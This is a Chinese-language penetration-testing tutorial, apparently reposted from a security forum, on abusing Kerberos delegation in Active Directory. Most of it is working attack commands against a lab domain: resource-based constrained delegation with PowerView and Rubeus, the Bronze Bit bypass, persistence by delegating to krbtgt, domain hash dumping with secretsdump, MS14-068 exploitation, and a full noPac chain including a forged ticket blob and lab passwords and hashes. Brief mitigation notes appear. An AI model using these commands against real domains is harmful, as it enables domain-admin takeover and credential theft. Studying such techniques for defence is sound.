Get-ADComputer weipai

fnyhtttltaw12349.png

步骤三

修改msDS-AllowedToActOnBehalfOfOtherIdentity

有两种方法可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性值

  1. Powerview
  2. ActiveDirectory模块

PowerView

配置weipai到PC-2016的基于资源的约束委派

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer pc-2016| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

qhiiupj04re12351.png

验证是否成功添加,如果有返回值,则证明成功添加属性

Get-DomainComputer pc-2016 -Properties msds-allowedtoactonbehalfofotheridentity

olrl23bmfcv12354.png

清除msds-allowedtoactonbehalfofotheridentity属性的值

Set-DomainObject pc-2016 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

g5qhhlcjjfd12356.png

ActiveDirectory模块

只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项,且ActiveDirectory模块默认只在域控上安装,如果不是域控可以从域控上把DLL文件复制出来,然后导入powershell即可。

Powershell -ExecutionPolicy Bypass

Import-Module .\Microsoft.ActiveDirectory.Management.dll

Set-ADComputer pc-2016 -PrincipalsAllowedToDelegateToAccount weipai$

Get-ADComputer pc-2016 -Properties PrincipalsAllowedToDelegateToAccount

步骤四

注入票据获取权限

Rubeus

因为Rubeus是不支持明文的,所以先把它转换为hash

Rubeus.exe hash /user:weipai /password:User!@#45 /domain:vvvv1.com

//0EC4B410903C6DC7594464F27D347497

4xaohe2kfqn12359.png

Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:cifs/pc-2016.vvvv1.com /ptt

//注意,使用工具Rubeus注入票据时,目标主机名与之后认证的时候的主机名需要一致

//比如这里是cifs/pc-2016.vvvv1.com,之后dir就需要用pc-2016.vvvv1.com

//如果这里是cifs/pc-2016,之后dir就需要用pc-2016,否则就会拒绝访问

sw2rdk1sh5312363.png

5sjl2zeolss12368.png

也可以直接使用psexec连接

PsExec64.exe \\pc-2016.vvvv1.com cmd.exe

hcyr1xydyqs12372.png

注意,这里获得的权限其实是本地的管理员权限,并没有访问域内资源的权限。

impacket工具包

python getST.py -dc-ip 10.10.10.10 -spn cifs/pc-2016.vvvv1.com -impersonate administrator vvvv1.com/weipai$:User!@#45

set KRB5CCNAME=C:\Users\WP\Desktop\administrator.ccache

python psexec.py -no-pass -k pc-2016.vvvv1.com -dc-ip 10.10.10.10 -codec gbk

总结

  1. 基于资源的约束委派是普通约束委派的反向,不需要域控来进行指定,只需要拥有一个可以修改属性的域内账户即可(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
  2. 基于资源的约束委派获得的是对方的本地管理员权限,或者system权限,因此多数情况下,基于资源的约束委派可以用来本地提权操作,只需要拥有一个可以修改当前机器属性的域内账户即可;

用户不可委派

在域环境中,高权限用户如果没有特殊需求的情况下,考虑到安全性一般是设置为不可委派,或者是加入受保护组。

141tvboyh5y12375.png

wgla1v5pwka12381.png

加载ActiveDirectory模块(需要在登录域内账户)

Powershell -ExecutionPolicy Bypass

Import-Module .\Microsoft.ActiveDirectory.Management.dll

Get-ADUser administrator -Properties AccountNotDelegated, Memberof

4krbyk4bgkc12385.png

Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt

ed1p3d3cua412386.png

这时候我们在通过s4u去申请一下票据,这个时候S4U2self是成功的,但是S4U2proxy是失败的。

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的,可以使用Rubeus describe查看一下S4U2self返回的票据信息,可以看到该票据是没有服务名称的,并且不可转发。

首先,我们可以知道,在我们配置委派的时候,有两种方式

1)仅使用Kerberos

配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

(2)使用任何身份验证协议

  • 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

从上文的链接中,我们可以了解到,当帐户设置了 TrustedToAuthForDelegation 标志(也称为“协议转换”)时,这种基于资源的反射约束委派相当于 S4U2Self,因为它允许帐户代表用户为自己获取可转发的 TGS。但是,如果帐户配置为具有“仅 Kerberos”的经典约束委派(未设置 TrustedToAuthForDelegation 并且 msDS-AllowedToDelegateTo 不为空),则经典条件优先于基于资源的条件,因此 S4U2Self 会以非-可转发的 TGS 和 S4U2Proxy 失败。

因此,我们必须要配置任何身份验证才可以进行委派。

详情看上文链接文章的这一节:A Misunderstood Feature #1

wmrmnceq22k12392.png

查看票据详情,发现服务名称是缺失的。

Rubeus.exe describe /ticket:ticket.kirbi

xc2fk532c3i12397.png

我们可以修改从S4U2Self获取的TGS上的SPN,并将其变成有效的。

https://xz.aliyun.com/t/7454#toc-2

Rubeus

在Rebeus加入了一个模块可以直接修改票据的SPN,把base64字符串复制下来后,存放到ticket.kribi文件中,由于被base64加密,所以要解密,解密过后可以直接使用Rubeus直接替换里面的内容,这里我们使用python对字符串进行处理。

124opxirp2x12402.png

data =''
with open("1.txt") as fp1:
    for line in fp1:
        data += line.strip().strip('\n')

with open("2.txt",mode='a') as fp2:
    fp2.write(data)

import base64

def base64_decode_to_file(encoded_string, filename):
    try:
        # 将字符串进行 base64 解码
        decoded_data = base64.b64decode(encoded_string)

        # 以二进制方式写入文件
        with open(filename, 'wb') as file:
            file.write(decoded_data)

        print("解码并写入文件成功!")
    except Exception as e:
        print("解码并写入文件出错:", str(e))

# 测试
encoded_string = data
filename = "ticket.kirbi"

base64_decode_to_file(encoded_string, filename)
# print(data)

Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/pc-2016.vvvv1.com /ptt

//或者直接使用字符串进行修改

Rubeus.exe tgssub /ticket:BASE64 /altservice:cifs/pc-2016.vvvv1.com /ptt

0g1wxdzb1vv12405.png

Rubeus.exe describe /ticket:ticket.kirbi

bfezhr2jhbc12408.png

uq3vep5m3mx12411.png

ASN.1 Editor

修改下图这两处地方即可。

3uw3nrxg42312414.png

o2iuqxvvfdq12416.pngcnzi4wz2rux12419.png

总结

对于用户不可委派的实际应用场景,经过测试,实际上范围十分小。

因为在这一过程中,我们修改的是从S4U2Self获取的ST上的,那么就意味着,在委派的过程中,我们只能利用一台机器账户的HASH,来委派这一台机器本身的服务。如果是一台机器来委派另一台机器的服务,那么我们修改的ST是来自第一台机器的自身可以转发的ST,即使修改了也是只能获取到该机器的服务,并不能获取到第二台机器的服务。

//通过一台机器账户的HASH,来委派这一台机器本身的服务

Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt

而且由于上文所指的只有设置了 TrustedToAuthForDelegation 标志才能进行委派,而默认情况下的非约束委派是不会配置这个标志位的,因此通过机器账户的HASH来获取对应机器的服务必须是在约束委派的前提下进行。

那么我们想要进行约束委派,也需要在域控进行设置,因此该功能比较鸡肋,当然,如果遇到对应情况,就可以利用机器账户来获取到其他的权限。

当然,这些能否使用S4Uproxy都是取决于是否转发到另一个机器,如果是获取到了某个机器账号的HASH,只是用来获取该机器的服务,不转发到其他的机器,则上文中的修改其服务名则可以成功使票据变得可以使用。(也就是说,只要是获得了某个机器账户的HASH,且该系统已经支持S4U,则可以通过S4U来获取其本地的其他服务的权限,例如CIFS。即使该机器没有设置委派也可以成功。)

至于为什么可以公告修改服务吗来使票据变得可用?

因为在进行约束委派的流程中,第二部是获取到自身服务的ST(见下图),由于工具集成了三个步骤,因此第二个步骤的服务名因为需要被第三步进行使用,因此一般服务名为该机器的名称,例如AD-2016$。但是实际上我们可以将该名称替换成该机器的任意本地服务的名称,这样该票据也就可以成功被使用。(也就是说,如果是利用某个机器账户的HASH来获取该机器的服务,就是将下图中的步骤拆开,只进行1、2步骤)。

hgnoa4jc3gs12423.png

ffyzwma0yij12426.png

CVE-2020-17049 Kerberos Bronze Bit攻击

https://www.freebuf.com/vuls/258430.html

https://cloud.tencent.com/developer/article/1761060

https://cloud.tencent.com/developer/article/1808279

假设攻击者已经获得了Service1的密码hash值,且Service1和Service2之间存在委派信任关系(Service1配置为对Service2的约束委派或Service2接受来自Service1的基于资源约束的委派)。如果Service1允许进行协议转换(配置了TrustedToAuthForDelegation属性),就可以利用impacket套件中的GetST.py脚本来获得指定身份的Service2的服务票据ST2。

d0mpmsfi2um12430.png

利用服务票据ST2,攻击者就能伪造成目标用户与Service2进行交互。

由于委派攻击的危害性,因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换(即关闭TrustedToAuthForDelegation属性)。

v4vv4wfnfhw12432.png

其次是可以在AD中配置高权限域内账户为“敏感账户,不能被委派”。

bci5vhqbd4412433.png

最后还可以将域内账户添加到 “Protected Users”安全组内。

将域内账户添加到 “Protected Users”安全组内时,会对用户进行限制

  1. 密码更改频率限制:这些账户的密码更改频率将增加,以减少密码被暴力破解或猜测攻击的风险。
  2. 密码历史限制:禁止重复使用之前使用过的密码,以防止密码的持久性攻击。
  3. 强制 Kerberos 加密类型:只允许使用最安全的 Kerberos 加密类型进行身份验证,以减少中间人攻击的风险。
  4. 强制域控制器进行 Kerberos 预身份验证:要求域控制器在 Kerberos 身份验证之前对账户进行预身份验证,以防止票据伪造攻击。
  5. 强制用户会话进行加密:要求用户会话使用加密传输数据,以防止信息泄露和中间人攻击。

ejcxj4qx3eb12436.png

如果某域内账户设置了上述配置至少一个,那么为该域内账户申请服务票据时,该服务票据的“ForWardable”将始终设置为0。即Service1仍然能通过S4U2self 协议获取该域内账户的服务票据ST1,但由于该服务票据ST1的ForWardable标志位0,那么就不能在S4U2 proxy中使用该服务票据ST1获取其他服务票据。

ggdw5ae3w5f12438.png

xs1l1hd5cjt12440.png

观察上图,可以发现在ST1是使用Service1密匙进行加密的。这意味着Service1可以解密ST1后修改forwardable值,然后重新使用Service1密匙进加密后发送给KDC ,forwardable标志不在PAC中,所以KDC无法检测到该值是否已经被篡改。

vyfgqhgddhc12442.png

绕过限制后,攻击者就可以模拟目标用户与Service2进行交互。

漏洞利用

首先配置administrator账户为敏感账户,不可委派,且加入了Protected Users安全组。

配置委派的服务一为仅使用kerberos认证。

1dhua2spjdy12444.png

获取到服务一的HASH

WSUS-PC$ 5d0a673b5f338a159c260fa7b8bc99ec

利用工具进行委派攻击

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec

2vrc3adsbsf12449.png

发现无法生成对应票据。

添加-force-forwardable参数即可成功。

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec -force-forwardable

xatigr4md0b12453.png

set KRB5CCNAME=C:\Users\Administrator\Desktop\administrator.ccache

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

tvyga2qeas212459.png

或者使用mimikatz将票据注入内存

kerberos::ptc administrator.ccache

nfu3l4waevm12464.png

dm1xzrtvxqi12467.png

使用委派进行权限维持

使用约束委派进行权限维持

TGT由krbtgt Hash加密,如果能通过委派krbtgt服务,那么就能伪造任意用户的TGT了。

由于krbtgt默认是禁用的,所以无法使用页面添加它的SPN。

域控通过powershell添加账户到krbtgt的约束委派。

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser WP

//添加机器账户的委派$user = Get-ADComputer WSUS-PC$

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/vvvv1.com") }

ypr2l4m1svf12471.png

利用impacket套件攻击

伪造administrator的TGT

python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WP:User!@#45

python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec

导入票据

export KRB5CCNAME=administrator.ccache

用wmiexec弹出一个权限为administrator交互式的shell

python wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 10.10.10.10

导出域内哈希

python secretsdump.py -no-pass -k WIN-KONG.hiro.com

使用基于资源的约束委派进行权限维持

与约束委派的权限维持类似,我们可以配置某个服务账户到krbtgt的基于资源的约束委派,只要有了修改krbtgt的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT。

使用PowerView工具

3jvl3apefxl12473.png

S-1-5-21-3315874494-179465980-3412869843-502

使用AdFind查找可以修改krbtgt账户属性的账户

AdFind.exe -b CN=krbtgt,CN=Users,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

ihy53nzfaza12475.png

在域控上执行:

//SID为weipai$的SID

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

lmdrducmuyv12476.png

验证是否成功添加,如果有返回值,则证明成功添加属性

Get-DomainComputer krbtgt -Properties msds-allowedtoactonbehalfofotheridentity

//Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

gqfcpuc0orf12477.png

xsqwrs5xrpi12479.png

清除msds-allowedtoactonbehalfofotheridentity属性的值

Set-DomainObject krbtgt -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

eqqrslixps212480.png

rubeus

使用rubeus伪造administrator请求TGT

Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:krbtgt /ptt

qhbn5scwss012482.png

irpehxevham12483.png

impacket工具包

使用impacket工具包也可以实现

python getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator vvvv1.com/weipai$:User!@#45

set KRB5CCNAME=administrator.ccache

python wmiexec.py -no-pass -k administrator@ad-2016.vvvv1.com -dc-ip 10.10.10.10

PAC攻击

https://blog.csdn.net/shuteer_xu/article/details/129253005

PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息、附加凭据信息、配置文件和策略信息等。例如用户所属的用户组, 用户所具有的权限等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。

在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。这样做的好处就是在以后对资源的访问中, 服务端再接收到客户请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断, 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。

PAC中包含两个数字签名:**PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。**PAC_SERVER_CHECKSUM是使用服务密钥进行签名,而PAC_PRIVSVR_CHECKSUM是使用KDC密钥进行签名。签名有两个原因。首先,存在带有服务密钥的签名,以验证此PAC由服务进行了签名。其次,带有KDC密钥的签名是为了防止不受信任的服务用无效的PAC为自己伪造票据。

这两个签名分别以PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM类型的PAC_INFO_BUFFER发送。在PAC数据用于访问控制之前,必须检查PAC_SERVER_CHECKSUM签名。这将验证客户端是否知道服务的密钥。而PAC_PRIVSVR_CHECKSUM签名的验证是可选的,默认不开启。它用于验证PAC是否由KDC签发,而不是由KDC以外的具有访问服务密钥的人放入票据中。

PAC中是有两个签名的:PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。一个是使用服务密钥(PAC_SERVER_CHECKSUM)进行签名,另一个使用KDC密钥(PAC_PRIVSVR_CHECKSUM)进行签名。当服务端收到客户端发来的AP-REQ消息时,只能校验PAC_SERVER_CHECKSUM签名,而并不能校验PAC_PRIVSVR_CHECKSUM签名。因此,正常来说如果需要校验PAC_PRIVSVR_CHECKSUM签名的话,服务端还需要将客户端发来的ST服务票据中的PAC签名发给KDC进行校验。

但是,由于大部分服务默认并没有KDC验证PAC这一步(需要将目标服务主机配置为验证KDC PAC签名,默认未开启),因此服务端就无需将ST服务票据中的PAC签名发给KDC校验了,只需要在本地与ACL进行对比验证即可。这也是白银票据攻击能成功的前提,因为如果配置了需要验证PAC_PRIVSVR_CHECKSUM签名的话,服务端会将这个PAC的数字签名以KRB_VERIFY_PAC的消息通过RPC协议发送给KDC,KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式发送给服务端,服务端就可以根据这个返回结果判断PAC的真实性和有效性了。 因此如果目标服务主机配置了要校验PAC_PRIVSVR_CHECKSUM签名的话,就算攻击者拥有服务密钥,可以制作ST服务票据,也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,自然就无法通过KDC的签名校验了。

根据微软官方文档的描述,若要开启KDC校验PAC,需要有以下条件:

  • 应用程序具有SeTcbPrivilege权限。SeTcbPrivilege权限允许为用户帐户分配“作为操作系统的一部分”。本地系统、网络服务和本地服务帐户都是由windows定义的服务用户帐户。每个帐户都有一组特定的特权。
  • 应用程序是一个服务,验证KDC PAC签名的注册表项被设置为1,默认为0。修改方法如下:
  1. 启动注册表编辑器regedit.exe
  2. 找到以下子键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
  3. 添加一个ValidateKdcPacSignature的键值(DWORD类型)。该值为0时,不会进行KDC PAC校验。该值为1时,会进行KDC PAC校验。因此可以将该值设置为1启用KDC PAC校验。

对于验证KDC PAC签名这个注册表键值,有以下几点注意事项:

  1. 如果服务端并非一个服务程序,而是一个普通应用程序,它将不受以上注册表的影响,而总是进行KDC PAC校验。
  2. 如果服务端并非一个程序,而是一个驱动,其认证过程在系统内核内完成,它将不受以上注册表的影响,而永不进行PAC校验。
  3. 使用以上注册表项,需要在Windows Server 2003 SP2或更新的操作系统。
  4. 在运行Windows Server 2008或更新操作系统的服务器上,该注册表项的值缺省为0(默认没有该ValidateKdcPacSignature键值),也就是不进行KDC PAC校验。

注:需要说明的是,注册在本地系统帐户下的服务无论如何配置,都不会触发KDC验证PAC签名。也就是说譬如SMB、CIFS、HOST等服务无论如何都不会触发KDC验证PAC签名。(如果是LDAP服务,则是注册在域内的服务)

因此,如果配置了KDC检验PAC的话,即使拥有服务密钥,生成了服务ST,也无法利用白银票据进行攻击,因为不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,也就无法通过KDC的签名校验了。

MS14-068

MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名,由于其实现签名的加密允许所有的签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改,导致用户可以自己构造一张PAC,伪造用户的SID和所在的组,那么可以通过伪造PAC,加入域管相关信息,访问域控服务,KDC会认为当前用户有权限,从而把这个用户当作域管组的成员,进而达到提升为域管理员的效果。

使用该漏洞系统需未打MS14-068的补丁(KB3011780),系统在windows server 2008及以下。

使用MS14-068的先决条件:

  • 域内任意⽤户 SID
  • 域内任意⽤户密码
使用MS14-068.exe

man1 0ec4b410903c6dc7594464f27d347497

man1 S-1-5-21-3315874494-179465980-3412869843-1110

MS14-068.exe -u man1@vvvv1.com -p User!@#45 -s S-1-5-21-3315874494-179465980-3412869843-1110 -d 10.10.10.10

//使用mimikatz导入票据文件

kerberos::ptc TGT_man1@vvvv1.com.ccache

auwakx13wl412485.png

使用GoldenPac.py

python goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 vvvv1.com/man1:User!@#45@ad-2016.vvvv1.com

使用Kekeo.exe

kekeo.exe "exploit::ms14068 /domain:vvvv1.com /user:man1 /password:User!@#45 /ptt" "exit"

CVE-2021-42287&CVE-2021-42278(NoPac)

https://www.freebuf.com/vuls/317773.html

https://blog.csdn.net/weixin_44747030/article/details/127158385

CVE-2021-42278是一个安全绕过漏洞,允许通过修改机器账户的sAMAccountName属性来冒充域控。与标准用户账户相比,机器账户的名称末尾附带了一个“$”符号,但是实际中,AD并没有验证域内机器账户中是否具有“$”,导致机器账户可以被假冒。

sAMAccountName(Security Account Manager Account Name)是Microsoft Windows中的一个属性,用于标识和表示用户和计算机账户。sAMAccountName是Active Directory(AD)中的一项属性,也适用于Windows Server域环境。

sAMAccountName属性用于在域内唯一标识用户和计算机账户。对于用户账户,sAMAccountName通常是用户的登录名,例如"johnsmith"。

sAMAccountName属性主要用于内部引用和标识用户和计算机账户,它不包含完整的用户或计算机名称,而只是一个唯一的标识符。要获取完整的用户或计算机账户名称,可以使用其他属性,如User Principal Name(UPN)或Distinguished Name(DN)。

CVE-2021-42287是一个影响Kerberos特权属性证书(PAC)的安全绕过漏洞,允许通过假冒域控,使密钥分发中心(KDC)创建高权限票据。

根据认证Kerberos协议,在请求服务票证前需要先签发TGT(票据授权凭证)。但是,当为活动目录中不存在的账户请求服务票证时,密钥分发中心(KDC)将在该账户名上附加“$”符合进行搜索。这一行为与CVE-2021-42278结合,测试人员可以实现域内权限提升。

大致流程如下:

  1. 当前已经拿下域内一台普通权限机器;
  2. 创建一个机器账户,假定为NOPAC1;
  3. 清除机器账户NOPAC1的servicePrincipalName属性;
  4. 修改机器账户NOPAC1的sAMAccountName属性,使其指向不带“$”符合的域控账户,相当于将该机器账户改名,如果域控名称为AD-2016$,就将该机器账户名称修改成AD-2016;
  5. 利用改名后的账户AD-2016请求TGT;
  6. 将新建的机器账户的sAMAccountName属性,使其恢复其原初始值(NOPAC1)或其他任意值即可;
  7. 利用S4U代表域管理员请求对应服务的服务票据(ST);
  8. 伪造域管理员账户获得相应服务的ST;

为什么要清除机器账户NOPAC1的servicePrincipalName属性?

servicePrincipalName属性存储了该账户所注册的服务主体名称(SPN)。

在修改sAMAccountName值时,servicePrincipalName的值与sAMAccountName的值相关联,servicePrincipalName将使用新值自动更新。该漏洞利用时,会将sAMAccountName的值改成AD-2016,那么servicePrincipalName将试图更新AD-2016的SPN,而该SPN已经被域控所独占,那么就会引发报错。所以在修改机器账户的sAMAccountName属性前,需要将其servicePrincipalName属性清除。

为什么要使用S4U进行请求ST?

在S4U请求中,在KDC解析TGT的用户信息时,因为AD-2016不存在,因此会在后面添加“$”进行查找,也就是域控的机器账户。此时,该TGT被KDC认定为是域控机器账户的TGT,然后进行S4u2Self请求,伪造任意用户访问域控自身的服务,例如administrator用户,然后重新生成对应的PAC又写入ST中。(利用域控机器TGT可以通过S4u2Self生成与自己有关的所有服务ST,但是是否能使用该ST,取决于PAC中伪造的用户权限)

03wzxztqviv12487.png

KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC。因此,需要使用S4u2Self重新生成PAC进行利用。

对于无论用户有没有访问服务的权限,只要TGT正确,就会返回ST,该ST为何无法利用?

利用S4u2Self只能伪造高权限用户生成与当前机器有关的服务ST,在生成ST的过程中并将高权限PAC写入ST,使得该ST可以被转发使用。但是实际上PAC是无法修改的,对于低权限用户生成的访问某些服务的ST,即使TGT正确,生成的ST由于其中的PAC权限过低,导致无法使用。

具体过程

使用工具Powermad,添加名为NOPAC2$,密码为User!@#45的机器账户。

powershell -exec bypass

Import-Module .\Powermad.ps1

$password = ConvertTo-SecureString 'User!@#45' -AsPlainText -Force

New-MachineAccount -MachineAccount "NOPAC2" -Password $($password) -Domain "vvvv1.com" -DomainController "ad-2016.vvvv1.com" -Verbose

itim0vamhaf12489.png

如下图所示添加成功。

gte4enadavz12490.png

使用工具PowerView,清除机器账户NOPAC2$的service-PrincipalName属性

Import-Module .\PowerView.ps1

Set-DomainObject "CN=NOPAC2,CN=Computers,DC=vvvv1,DC=com" -Clear 'serviceprincipalname' -Verbose

使用ADExplorer查看机器账户属性,发现已经删除service-PrincipalName属性

04pbxn3i2bo12492.png

修改机器账户的sAMAccountName属性,使其指向不带"$"符号的域控机器账户。

Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value "AD-2016" -Attribute "samaccountname" -Verbose

1e3f23beldc12494.png

arostive0s112496.png

使用工具Rubeus工具为账户AD-2016请求TGT。

Rubeus.exe asktgt /user:"ad-2016" /password:"User!@#45" /domian:"vvvv1.com" /dc:"ad-2016.vvvv1.com" /nowrap

zdiaqq4b15y12497.png

2dk5q51nhsd12499.png

获取到TGT后,恢复原机器名,或修改成其他任意机器名。

Set-MachineAccountAttribute -MachineAccount "NOPAC2" -Value "NOPAC2$" -Attribute samaccountname -Verbose

jqkynpjw4cx12501.png

Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD-2016.vvvv1.com" /dc:"AD-2016.vvvv1.com" /ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQsbCVZWVlYxLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29to4IDszCCA6+gAwIBEqEDAgECooIDoQSCA50gPYZQmCqJTBvQ0DalEvZRoszQULoN8jmphV2L2h77Iz91/s5p5AM9lszINs0hTdC9e3hnhJTk+qPHwe/eqqAX7nmUy4AsojmEQkutV4UuFsBM/c/ppQmXP3lD5xsJTUfBqSkcwl7RHFqo+Z1uZpHzfLv6YMP6UMHK8lD8A6MEu33SU7Tda1rVPa2P3QRPgGay2wVP9wtYtjmU3/Mj5CKey+fHlJHCNwSGHWU5FCvFwp7WMQ02L8tFxJKeOq3+RX7iIauOFxjYCCGG+IklHIdPuPiIC8HKzlF1E8jJh97tYoRuw/DvejtJ4TlcATmJKqb/baGngQiwOs4TRs26B+uPwkj9lMdbQJuxUxlBEJkuJtyozoAk9/LjIwwvIhaA6yhv8uVKSYQkslnCIrWuRR4Y82wCIjCNVwyBhhTOAbR1LfzI0yXnwbky232ptnPf0ahZi33wIh3lnZ1bU6mG6Pu/9lDLVyIfrVKIg5zqdmMU+vyCVjAJrhqxEQomQ4+QRZmrLKFpAxe7Bbv7iBUMVA4N5qbv0PB16Hh4g0cNqKPNVmKnuRsjO8xMpW4XlHc1Dn6mAJgkEqNvio3fxvzlWCvzjDTttdGyH8UMNwL7m2qHFaMSm4QEWQIJP8NNgCYIH4aqLmQlzXvou4L7BFxOcfXdhYWsZJACnGATFdm42roIwo1dLHWER5oQBPktrhdau8QCduPB7kcdrJxR9avKlfqO7xvhI1qlVANunMpgs75NVwgLa0wzMwe7fy0QFPMYVfH4TTjGuhPRMVGnKrcEmGI+ze3Y0c1m0XpqiwzR1YGAwNuIQTfGAimO0rG1uLdVNapWbQv/v55EzRldCoKvR/eGZhpf8SvjYwqSXXttWaPOrwFFdLej2LqpT2vStkLNzC4grCvF73if2WTHxm/UykDLF4trlxt7LTxf1cD18HYavkB6E3uN8PTWIJ4VkRWzfowrSvpoBUWTY52We3Fj7ACJ64T2xAPp6rChXUyd9w0KcVbtUGxbrpb0mql06FoMfjPpKS5ySPDDRwfO6rnP39ABejIzRB1Q9qZYhaYzedQ64BSuz/C5psjfGg/jummxwgec9dWcmEhRMB6UWkOFN+PI1R0mJLTJKVK88zb682knMlp2uqevLerZzTQn8CRQ6N0wZ1qekX+EgMpm0wOtGyGmarUAibFaAijg/TOhnJ7Qn/1bFXbfAeu0Ox77wYFi6ST1Xri659p4zdNh3Au2o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQH3LWAD2770rKZvl9IskRnqELGwlWVlZWMS5DT02iFDASoAMCAQGhCzAJGwdhZC0yMDE2owcDBQBA4QAApREYDzIwMjMwOTA1MDgyNjMwWqYRGA8yMDIzMDkwNTE4MjYzMFqnERgPMjAyMzA5MTIwODI2MzBaqAsbCVZWVlYxLkNPTakeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29t

c05pqi2w0kg12502.png

xicnusnyx4412503.png

验证成功。

drzrljmivtz12505.png

另外其他工具的方法可以参考如下链接。

https://blog.csdn.net/weixin_44747030/article/details/127158385

使用noPac.exe

将编译好的noPac.exe上传到普通域用户 的主机,执行以下命令,创建一个名为NOPAC1的机器账户,获得一个针对域控的CIFS服务的票据,并将该票据传递到内存中。

noPac.exe -domain vvvv1.com -user man1 -pass User!@#45 /dc ad-2016.vvvv1.com /mAccount NOPAC1 /mPassword User!@#45 /service cifs /ptt

pqzrbzx1pke12506.png

eqjxut5wp0d12508.png

注意,如果该机器账户名已存在,则会报错。

3erdm2wysyq12509.png


转账自原文链接地址: https://forum.butian.net/share/3680
HireHackking

回炉再造

